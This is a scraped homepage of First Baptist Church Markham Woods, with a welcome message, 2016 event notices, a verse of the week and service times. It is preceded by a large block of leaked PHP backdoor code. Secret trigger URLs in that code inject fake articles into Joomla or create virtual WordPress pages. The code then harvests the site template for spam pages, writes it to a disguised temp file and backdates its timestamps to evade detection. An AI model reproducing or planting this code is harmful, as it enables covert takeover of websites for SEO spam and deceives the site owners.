if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } First Baptist Markham Woods

Welcome

Welcome to First Baptist Church Markham Woods! We are delighted that you are visiting our website. Please look over our site for general information about the church. We are definitely a church that loves God and loves people.

You are cordially welcome to visit with us where the Gospel of the Lord Jesus Christ is proclaimed and God is honored and worshiped.

We have a great concern for people and families. While our concentration is to worship God in Spirit and Truth, this includes a striving to know what God is saying to all of us in this day.

Highlights

 

 

YOU are invited!!! 

 

Sunday, May 29, 2016

6:00 P.M.

 

Celebrating

Memorial Day

 - Cookout & Games

"Cookin' up some

hotdogs & hamburgers...

Everyone to bring a side dish

and JOIN US!

 

RSVP a Must!

 -------------

 

ONE MUST...

call for reservations

by Wednesday, May 25!

 407.333.2085

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Thursday, May 5

National Day of Prayer

6PM Under the Flag!

 

Sunday, May 8

Mother's Day Recognitions

(10:45AM Service)

 

Saturday, June 11

Women's Ministry

(Lunch - Winter Park)

 

Wednesday, June 15

Women's Ministry

"How to" Glass Painting

by Artist - Dyanne Parker

call for info...

 

 

 

 

 

Upcoming Events

No events

Verse of the Week

I have been crucified with Christ and I no longer live, but Christ lives in me. The life I live in the body, I live by faith in the Son of God, who loved me and gave himself for me.

Galatians 2:20

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Sunday Services

Bible Study

9:45AM

 

Sunday Morning Worship

10:45AM